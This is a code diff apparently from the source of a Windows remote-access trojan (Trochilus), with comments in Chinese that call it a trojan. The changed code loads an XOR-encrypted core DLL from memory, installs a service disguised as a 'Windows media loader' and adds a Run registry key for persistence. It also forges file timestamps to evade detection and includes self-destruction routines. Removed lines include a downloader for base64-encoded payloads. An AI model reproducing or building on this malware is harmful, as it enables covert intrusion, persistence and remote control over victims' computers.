SHELL_API BOOL SendMsg( const LPBYTE pData, DWORD dwSize, COMM_NAME commname /*= COMMNAME_DEFAULT*/, ULONG targetIP /*= 0*/ )
{
return Shell::GetInstanceRef().Servant_SendMsg(pData, dwSize, commname, targetIP);
}
SHELL_API BOOL XFC( const LPVOID lpPlain, DWORD dwPlainLen, LPVOID lpEncrypted, UINT factor0, UINT factor1 )
{
XorFibonacciCrypt(lpPlain, dwPlainLen, lpEncrypted, factor0, factor1);
@ -30,32 +25,14 @@ SHELL_API BOOL XFC( const LPVOID lpPlain, DWORD dwPlainLen, LPVOID lpEncrypted,
return TRUE;
}
SHELL_API BOOL GetClientID( GUID* pGuid )
{
if (NULL == pGuid) return FALSE;
return Shell::GetInstanceRef().Servant_GetCID(*pGuid);
}
SHELL_API void SD()
{
//停止Servantshell工作
DeinitServantShell();
SelfDestruction::DeleteRunItem();
/* SelfDestruction::DeleteRunItem();*/
SelfDestruction::ExitAndDeleteSelfDll(g_hServantshell);
ExitProcess(0);
}
SHELL_API void GetSvrInfo(PSERVICE_INFO* const info)
{
*info = &g_ServiceInfo;
}
SHELL_API BOOL ReplaceIIDName( LPVOID lpBase, LPCSTR pTargetName, LPCSTR pReplaceName )
{
return PEUtils::ReplaceIIDName(lpBase, pTargetName, pReplaceName);
}
SHELL_API BOOL AdjustTimes( LPCTSTR filepath )
{
tstring me;
@ -85,139 +62,48 @@ SHELL_API BOOL AdjustTimes( LPCTSTR filepath )
return ::SetFileTime(targetFile, &creationTime, &lastAccessTime, &lastWriteTime);
}
typedef void (*FnInit) (LPCTSTR serviceName, LPCTSTR displayName, LPCTSTR descripion, LPCTSTR filepath, LPCTSTR svchostName);
SHELL_API BOOL InitSvr()
{
// CODE_MARK_BEGIN();
#ifdef _DEBUG
strcpy_s(g_ServiceInfo.szDisplayName, "Windows media loader");
strcpy_s(g_ServiceInfo.szServiceDecript, "maker your mediaplayer load media file faster");
strcpy_s(g_ServiceInfo.szServiceName, "medialoader");
#endif
// tstring filepath = GetBinFilepath();
// filepath += SERVANT_SHELL_BINNAME;
TCHAR myfilepath[MAX_PATH] = {0};
::GetModuleFileName(g_hServantshell, myfilepath, MAX_PATH);
tstring filepath = myfilepath;
// if (g_ServiceInfo.bUseChameleon) Camp(filepath.c_str(), SERVANT_SHELL_BINNAME, filepath);
tstring svchostName = filepath;
tstring::size_type pos = svchostName.find_last_of('\\');
if (pos != tstring::npos) svchostName = svchostName.substr(pos + 1);
pos = svchostName.find_last_of('.');
if (pos != tstring::npos) svchostName = svchostName.substr(0, pos);
MyFile file;
tstring dllpath = GetBinFilepath();
dllpath += SERVANT_CORE_BINNAME;
if (! file.Open(dllpath.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
{
errorLogE(_T("open file [%s] failed"), dllpath.c_str());
return FALSE;
}
ByteBuffer content;
if (! file.ReadAll(content))
{
errorLogE(_T("read file [%s] failed"), dllpath.c_str());
return FALSE;
}
#ifdef USE_ENCRYPTED_CORE
debugLog(_T("decrypt dll file"));
XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5);
#endif
//替换引入表将对servantshell.dll的引入替换为当前dll的引入
if (_tcscmp(GetBinFilename(), SERVANT_SHELL_BINNAME) != 0)
{
BOOL bReplaceOK = ReplaceIIDName((LPBYTE)content, t2a(SERVANT_SHELL_BINNAME), t2a(GetBinFilename()));
infoLog(_T("replace IIDName [%s]->[%s] ret %d"), SERVANT_SHELL_BINNAME, GetBinFilename(), bReplaceOK);
if (! bReplaceOK) return FALSE;
}
CMemLoadDll* pServant = new CMemLoadDll;
BOOL bSuccess = FALSE;
do
{
if (! pServant->MemLoadLibrary((LPBYTE)content, content.Size()))
{
errorLogE(_T("load memlibrary failed [%s]"), dllpath.c_str());
break;
}
#define GETPROCADDRESS(_var, _type, _name) \
(_var) = (_type) pServant->MemGetProcAddress(_name); \
if (NULL == (_var)) \
{ \
errorLog(_T("get address of p[%s] failed"), a2t(_name)); \
break; \
}
FnInit inssvc = NULL;
GETPROCADDRESS(inssvc,FnInit,"InstallService");
if (inssvc)
inssvc(a2t(g_ServiceInfo.szServiceName),a2t(g_ServiceInfo.szDisplayName),a2t(g_ServiceInfo.szServiceDecript),filepath.c_str(), svchostName.c_str());
bSuccess = TRUE;
} while (FALSE);
if (! bSuccess)
{
delete pServant;
pServant = NULL;
}
return bSuccess;
// CODE_MARK_END();
}
SHELL_API void CheckDT()
{
SetFileTimes(g_locationDir.c_str(), TRUE, TIMES_PARAM(g_ftLocationDir));
}
SHELL_API void InitRun()
{
TCHAR dllpath[MAX_PATH];
GetModuleFileName(GetModuleHandle(SERVANT_SHELL_BINNAME), dllpath, MAX_PATH);
TCHAR rundllpath[MAX_PATH];
GetSystemDirectory(rundllpath,MAX_PATH);
// SHELL_API void InitRun()
// {
// TCHAR dllpath[MAX_PATH];
// GetModuleFileName(GetModuleHandle(SERVANT_SHELL_BINNAME), dllpath, MAX_PATH);
//
// TCHAR rundllpath[MAX_PATH];
// GetSystemDirectory(rundllpath,MAX_PATH);
//
// tstring strCmd = _T("\"");
// strCmd += rundllpath;
// strCmd += _T("\\rundll32.exe\" \"");
// strCmd += dllpath;
// strCmd += _T("\"");
// strCmd += _T(" Init");
//
// HKEY hKey;
// LONG lnRes = RegOpenKeyEx(
// HKEY_CURRENT_USER,
// _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"),
// 0,KEY_WRITE,
// &hKey
// );
//
// if( ERROR_SUCCESS == lnRes )
// {
// lnRes = RegSetValueEx(hKey,
// _T("Medialoader"),
// 0,
// REG_SZ,
// (BYTE*)strCmd.c_str(),
// strCmd.length()*sizeof(TCHAR));
// }
// RegCloseKey(hKey);
// Init();
// }
tstring strCmd = _T("\"");
strCmd += rundllpath;
strCmd += _T("\\rundll32.exe\" \"");
strCmd += dllpath;
strCmd += _T("\"");
strCmd += _T(" Init");
HKEY hKey;
LONG lnRes = RegOpenKeyEx(
HKEY_CURRENT_USER,
_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"),
0,KEY_WRITE,
&hKey
);
if( ERROR_SUCCESS == lnRes )
{
lnRes = RegSetValueEx(hKey,
_T("Medialoader"),
0,
REG_SZ,
(BYTE*)strCmd.c_str(),
strCmd.length()*sizeof(TCHAR));
}
RegCloseKey(hKey);
Init();
}
SHELL_API BOOL Init(BOOL bWait)
SHELL_API void Init( BOOL isIns /*= TRUE*/ )
{
//获取所在目录的时间
g_locationDir = GetBinFilepath();
@ -225,45 +111,13 @@ SHELL_API BOOL Init(BOOL bWait)
GetFileTimes(g_locationDir.c_str(), TRUE, TIMES_PARAM(g_ftLocationDir));
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;
g_ConfigInfo.nTryConnectIntervalM = 1;
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
// strcpy_s(g_CampInfo.szDllName, sizeof(g_CampInfo.szDllName), t2a(SERVANT_SHELL_BINNAME));
// #else
// //如果被随机名称则清理原servantshell.dll
// if (_tcscmp(GetBinFilename(), SERVANT_SHELL_BINNAME) != 0)
// {
// Wow64FsRedirectionDisabler wow64Disabler;
// wow64Disabler.Disable();
//
// tstring srcServantFilepath = g_ServiceInfo.szInstalPath;
// if (srcServantFilepath.size() > 0 && srcServantFilepath.back() != '\\') srcServantFilepath += '\\';
// srcServantFilepath += SERVANT_SHELL_BINNAME;
// debugLog(_T("try to clean src : %s"), srcServantFilepath.c_str());
// SelfDestruction::CleanFile(srcServantFilepath.c_str());
// SelfDestruction::DeleteFileIgnoreReadonly(srcServantFilepath.c_str());
// }
#endif
strcpy_s(g_ConfigInfo.szServantshellRealname, sizeof(g_ConfigInfo.szServantshellRealname), t2a(GetBinFilename()));
WSADATA wsaData = {0};
::WSAStartup(MAKEWORD(2, 2), &wsaData);
if (! Shell::GetInstanceRef().Init())
{
errorLog(_T("init shell failed"));
return FALSE;
return;
}
while (bWait)
{
Sleep(10000);
}
return TRUE;
Shell::GetInstanceRef().LoadServant((BOOL)isIns);
}

View File

@ -10,9 +10,6 @@
//获取当前路径,返回值以\结尾
SHELL_API LPCTSTR GetLocalPath();
//向服务器发送消息
SHELL_API BOOL SendMsg(const LPBYTE pData, DWORD dwSize, COMM_NAME commname = COMMNAME_DEFAULT, ULONG targetIP = 0);
//异或加解密
SHELL_API BOOL XFC(const LPVOID lpPlain, DWORD dwPlainLen, LPVOID lpEncrypted, UINT factor0, UINT factor1);
@ -22,26 +19,14 @@ SHELL_API BOOL GetClientID(GUID* pGuid);
//退出程序
SHELL_API void Exit();
//得到服务信息
SHELL_API void GetSvrInfo(PSERVICE_INFO* const info);
//客户端自毁
SHELL_API void SD();
//替换pe文件中IMAGE_IMPORT_DESCRIPTOR中的dll文件名
SHELL_API BOOL ReplaceIIDName(LPVOID lpBase, LPCSTR pTargetName, LPCSTR pReplaceName);
//根据ServantShell的时间调整 文件时间
SHELL_API BOOL AdjustTimes(LPCTSTR filepath);
//安装服务
SHELL_API BOOL InitSvr();
//调整所在目录的时间
SHELL_API void CheckDT();
//开始运行木马
SHELL_API BOOL Init(BOOL bWait = TRUE);
//加载启动项
SHELL_API void InitRun();
SHELL_API void Init(BOOL isIns = TRUE);

View File

@ -15,8 +15,6 @@ Shell::Shell()
, m_pServant(NULL)
, m_fnInitServant(NULL)
, m_fnDeinitServant(NULL)
, m_fnSendMsg(NULL)
, m_fnGetCID(NULL)
{
}
@ -30,59 +28,17 @@ BOOL Shell::Init()
{
m_dllpath = GetBinFilepath();
m_dllpath += SERVANT_CORE_BINNAME;
m_hExitEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);
if (NULL == m_hExitEvent)
{
errorLogE(_T("create event failed."));
return FALSE;
}
//装载servant
if (! StartLoading())
{
return FALSE;
}
return TRUE;
}
void Shell::Deinit()
{
Stop();
m_hExitEvent.Close();
if (NULL != m_fnDeinitServant) m_fnDeinitServant();
}
BOOL Shell::StartLoading()
{
if (m_bWorking) return FALSE;
debugLog(_T("start loading thread"));
m_bWorking = TRUE;
if (! m_loadingThread.Start(LoadingThread, this))
{
m_bWorking = FALSE;
}
return m_bWorking;
}
void Shell::Stop()
{
m_bWorking = FALSE;
::SetEvent(m_hExitEvent);
m_loadingThread.WaitForEnd(3000);
}
DWORD WINAPI Shell::LoadingThread( LPVOID lpParameter )
{
Shell* pShell = (Shell*) lpParameter;
pShell->LoadingProc();
return 0;
}
BOOL Shell::DecodeBase64(LPCSTR base64Encoded, DWORD dwBase64Length, ByteBuffer& byteBuffer) const
@ -107,130 +63,29 @@ BOOL Shell::DecodeBase64(LPCSTR base64Encoded, DWORD dwBase64Length, ByteBuffer&
return bRet;
}
BOOL Shell::HttpDownloadFile( LPCTSTR url, LPCTSTR localFilepath )
{
//打开一个internet连接
HINTERNET internet = ::InternetOpen(_T("IE"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (NULL == internet)
{
errorLogE(_T("open internet failed."));
return FALSE;
}
//打开一个http url地址
HINTERNET fileHandle = ::InternetOpenUrl(internet, url, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
if(NULL == fileHandle)
{
errorLogE(_T("open url failed."));
::InternetCloseHandle(internet);
return FALSE;
}
BOOL bSuccess = FALSE;
do
{
//获取数据大小
TCHAR contentLength[32] = {0};
DWORD dwBufferLength = sizeof(contentLength);
DWORD dwIndex = 0;
if (! ::HttpQueryInfo(fileHandle, HTTP_QUERY_CONTENT_LENGTH, contentLength, &dwBufferLength, &dwIndex))
{
errorLogE(_T("get contentlength failed."));
break;
}
LONG lContentLength = _wtol(contentLength);
if (lContentLength <= 0 || lContentLength > 1024 * 1024 * 4)
{
errorLog(_T("illegal content length : %ld"), lContentLength);
break;
}
//准备数据缓冲区
ByteBuffer readBuffer;
readBuffer.Alloc(lContentLength);
//从url地址中读取文件内容到缓冲区buffer
DWORD dwRead = 0;//下载的字节数
LPBYTE pRead = (LPBYTE) readBuffer;
DWORD dwTotalSize = 0;
DWORD dwAvailable = lContentLength;
while (::InternetReadFile(fileHandle, pRead, dwAvailable, &dwRead) && dwRead > 0 && dwAvailable > 0)
{
pRead += dwRead;
dwTotalSize += dwRead;
dwAvailable -= dwRead;
dwRead = 0;
}
if (dwRead != 0) break;
debugLogE(_T("recv %u."), dwTotalSize);
//base64解码
ByteBuffer fileContent;
if (! DecodeBase64((LPCSTR)(LPBYTE)readBuffer, dwTotalSize, fileContent))
{
errorLog(_T("decode base64 failed"));
break;
}
//写入文件
MyFile file;
if (! file.Open(localFilepath, GENERIC_ALL, CREATE_ALWAYS, 0))
{
errorLogE(_T("open [%s] failed"), localFilepath);
break;
}
if (! file.Write((LPBYTE)fileContent, fileContent.Size()))
{
errorLogE(_T("write file failed."));
break;
}
file.Close();
AdjustTimes(localFilepath);
bSuccess = TRUE;
} while (FALSE);
::InternetCloseHandle(internet);
::InternetCloseHandle(internet);
if (! bSuccess) ::DeleteFile(localFilepath);
CheckDT();
return bSuccess;
}
void Shell::LoadingProc()
{
//尝试装载
BOOL bLoadOK = LoadServant();
if (bLoadOK)
{
debugLog(_T("load servant SUCCESS"));
}
else
{
errorLog(_T("load servant FAILED"));
}
}
BOOL Shell::LoadServant()
BOOL Shell::LoadServant( BOOL isIns )
{
#ifdef DEBUG
#define GETPROCADDRESSD(_lib,fnType,fnName) \
(fnType)GetProcAddress(_lib,fnName);
HANDLE hLib = LoadLibrary(SERVANT_CORE_BINNAME);
tstring strPath = GetBinFilepath();
strPath += SERVANT_CORE_BINNAME;
HANDLE hLib = LoadLibrary(strPath.c_str());
m_fnInitServant = GETPROCADDRESSD((HMODULE)hLib,FnInitServant,"InitServant");
m_fnDeinitServant = GETPROCADDRESSD((HMODULE)hLib,FnDeinitServant, "DeinitServant");
m_fnSendMsg = GETPROCADDRESSD((HMODULE)hLib,FnSendMsg, "SendMsg");
m_fnGetCID = GETPROCADDRESSD((HMODULE)hLib, FnGetCID, "GetCID");
m_fnInstallService = GETPROCADDRESSD((HMODULE)hLib,FnInstallService, "InstallService");
m_fnInitServant(&g_ConfigInfo);
if ( isIns )
{
m_fnInstallService();
}
else
{
m_fnInitServant();
}
return TRUE;
#endif
@ -239,7 +94,7 @@ BOOL Shell::LoadServant()
delete m_pServant;
m_pServant = NULL;
}
infoLog(_T("Test OK"));
MyFile file;
if (! file.Open(m_dllpath.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
{
@ -257,14 +112,6 @@ BOOL Shell::LoadServant()
XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5);
#endif
//替换引入表将对servantshell.dll的引入替换为当前dll的引入
if (_tcscmp(GetBinFilename(), SERVANT_SHELL_BINNAME) != 0)
{
BOOL bReplaceOK = ReplaceIIDName((LPBYTE)content, t2a(SERVANT_SHELL_BINNAME), t2a(GetBinFilename()));
infoLog(_T("replace IIDName [%s]->[%s] ret %d"), SERVANT_SHELL_BINNAME, GetBinFilename(), bReplaceOK);
if (! bReplaceOK) return FALSE;
}
m_pServant = new CMemLoadDll;
BOOL bSuccess = FALSE;
@ -286,15 +133,16 @@ BOOL Shell::LoadServant()
GETPROCADDRESS(m_fnInitServant, FnInitServant, "InitServant");
GETPROCADDRESS(m_fnDeinitServant, FnDeinitServant, "DeinitServant");
GETPROCADDRESS(m_fnSendMsg, FnSendMsg, "SendMsg");
GETPROCADDRESS(m_fnGetCID, FnGetCID, "GetCID");
GETPROCADDRESS(m_fnInstallService, FnInstallService, "InstallService");
if (! m_fnInitServant(&g_ConfigInfo))
if ( isIns )
{
errorLog(_T("init servant failed"));
break;
m_fnInstallService();
}
else
{
m_fnInitServant();
}
bSuccess = TRUE;
debugLog(_T("load servantcore success"));
} while (FALSE);
@ -306,26 +154,9 @@ BOOL Shell::LoadServant()
m_fnInitServant = NULL;
m_fnDeinitServant = NULL;
m_fnSendMsg = NULL;
errorLog(_T("load servant failed"));
}
return bSuccess;
}
BOOL Shell::Servant_SendMsg( const LPBYTE pData, DWORD dwSize, COMM_NAME commname, ULONG targetIP )
{
if (NULL == m_fnSendMsg) return FALSE;
return m_fnSendMsg(pData, dwSize, commname, targetIP);
}
BOOL Shell::Servant_GetCID( GUID& guid )
{
if (NULL == m_fnGetCID) return FALSE;
guid = m_fnGetCID();
return TRUE;
}
}

View File

@ -4,14 +4,8 @@ EXPORTS
Init @1
Main @2
GetLocalPath @3
SendMsg @4
XFC @5
GetClientID @6
Exit @7
SD @8
ReplaceIIDName @9
AdjustTimes @10
CheckDT @11
GetSvrInfo @12
InitSvr @13
InitRun @14
XFC @4
Exit @5
SD @6
AdjustTimes @8
CheckDT @9

View File

@ -5,37 +5,25 @@
class Shell
{
DECLARE_SINGLETON(Shell);
public:
BOOL Servant_SendMsg(const LPBYTE pData, DWORD dwSize, COMM_NAME commname, ULONG targetIP);
BOOL Servant_GetCID(GUID& guid);
private:
BOOL StartLoading();
public:
void Stop();
static DWORD WINAPI LoadingThread(LPVOID lpParameter);
void LoadingProc();
BOOL DecodeBase64(LPCSTR base64Encoded, DWORD dwBase64Length, ByteBuffer& byteBuffer) const;
BOOL HttpDownloadFile(LPCTSTR url, LPCTSTR localFilepath);
BOOL LoadServant();
BOOL LoadServant(BOOL isIns = FALSE);
private:
typedef BOOL (*FnInitServant)(const PCONFIG_INFO pConfigInfo);
typedef void (*FnInitServant)();
typedef void (*FnDeinitServant)();
typedef BOOL (*FnSendMsg)(const LPBYTE pData, DWORD dwSize, COMM_NAME commname, ULONG targetIP);
typedef GUID (*FnGetCID)();
typedef void (*FnInstallService)();
private:
tstring m_dllpath;
volatile LONG m_bWorking;
Thread m_loadingThread;
Handle m_hExitEvent;
tstring m_clientid;
CMemLoadDll* m_pServant;
FnInitServant m_fnInitServant;
FnDeinitServant m_fnDeinitServant;
FnSendMsg m_fnSendMsg;
FnGetCID m_fnGetCID;
FnInstallService m_fnInstallService;
};

View File

@ -2,11 +2,11 @@
//
#include "stdafx.h"
#include <process.h>
#include <Winsock2.h>
#include <ObjBase.h>
#include "destruction/SelfDestruction.h"
#include "../../common/BinNames.h"
//#include "ProcessDetector.h"
#include "shell.h"
#include "tstring.h"
#include "common.h"
@ -154,6 +154,7 @@ void WINAPI ServiceHandler( DWORD dwCommand )
break;
}
}
void func1(void* p){ Init(FALSE); };
void WINAPI Main(
__in DWORD dwArgc,
@ -165,7 +166,9 @@ void WINAPI Main(
if (g_bService) hSrv = RegisterServiceCtrlHandler(svcname.c_str(), (LPHANDLER_FUNCTION)ServiceHandler );
SetStatus( SERVICE_START_PENDING, 0, 1 );
Init(FALSE);
_beginthread(func1,0,NULL);
SetStatus( SERVICE_RUNNING, 0, 0 );
}
@ -202,9 +205,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
{
case DLL_PROCESS_ATTACH:
g_hServantshell = hModule;
#ifndef _DEBUG
XorFibonacciCrypt(((LPBYTE)&g_ConfigInfo) + sizeof(DWORD), sizeof(g_ConfigInfo) - sizeof(DWORD), ((LPBYTE)&g_ConfigInfo) + sizeof(DWORD), CONNECT_CONFIG_FACTOR1, CONNECT_CONFIG_FACTOR2);
#endif
break;
case DLL_THREAD_ATTACH:
break;

View File

@ -6,9 +6,6 @@
// TODO: 在 STDAFX.H 中
// 引用任何所需的附加头文件,而不是在此文件中引用
CONNECT_INFO g_ConfigInfo = { CONNECT_FLAG };
SERVICE_INFO g_ServiceInfo = { SERVICE_FLAG };
tstring g_locationDir = _T("");
FILETIME g_ftLocationDirCreationTime = {0};

View File

@ -18,8 +18,6 @@
#include "ConfigInfo.h"
#include "CommNames.h"
extern CONNECT_INFO g_ConfigInfo;
extern SERVICE_INFO g_ServiceInfo;
extern HMODULE g_hServantshell;
extern tstring g_locationDir;

View File

@ -1,7 +1,7 @@
#pragma once
#ifdef _M_X64
# define SERVANT_BINNAME TEXT("servantx64.dll")
# define SERVANT_BINNAME TEXT("bodyx64.dll")
#else
# define SERVANT_BINNAME TEXT("body.dll")
#endif
@ -9,7 +9,7 @@
#define SERVANT_SHELL_BINNAME TEXT("Shell.dll")
#ifdef USE_ENCRYPTED_CORE
# define SERVANT_CORE_BINNAME TEXT("svtlogo.dat")
# define SERVANT_CORE_BINNAME TEXT("data.dat")
#else
# define SERVANT_CORE_BINNAME TEXT("body.dll")
#endif

View File

@ -3,6 +3,7 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>..\..\bin\Trochilus.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<ShowAllFiles>true</ShowAllFiles>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>..\..\binD\Trochilus.exe</LocalDebuggerCommand>